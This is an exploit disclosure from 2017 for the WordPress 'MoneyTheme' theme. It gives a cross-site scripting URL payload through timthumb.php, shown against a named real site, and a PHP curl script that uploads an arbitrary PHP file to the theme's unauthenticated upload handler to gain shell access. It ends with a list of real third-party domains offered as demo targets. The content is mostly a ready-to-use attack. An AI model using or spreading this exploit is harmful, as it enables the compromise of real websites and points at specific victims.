Wordpress MoneyTheme Themes XSS / Arbitrary File Upload

Title : Wordpress MoneyTheme Themes XSS / Arbitrary File Upload

#Author : Dyar Sahdi

#Date : 8/18/2017
--------------------------

Cross Site Scripting
------------------------
http://site-target/wp-content/themes/MoneyTheme/timthumb.php?src=[XSS].jpg

-------------------

Example :

http://cheapcompoundbow.com/wp-content/themes/MoneyTheme/timthumb.php?src=<h1>DevilScreaM</h1>.jpg
-----------

Script File Upload
----------------------
Arbitrary File Upload

Exploit :

<?php

$uploadfile="devilscream.php";

$ch = curl_init("http://site-target/wp-content/themes/MoneyTheme/uploads/upload.php?folder=/wp-content/themes/MoneyTheme/uploads/uploads/");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>


Shell Access : http://site-target/wp-content/themes/MoneyTheme/uploads/uploads/devilscream.php

devilscream.php
<?php
phpinfo();
?>
-----------------------------------------------------
# Demo:
-------------

http://wellontop.com/wp-content/themes/MoneyTheme/uploads/upload.php
http://copiouscash.com/wp-content/themes/MoneyTheme/uploads/upload.php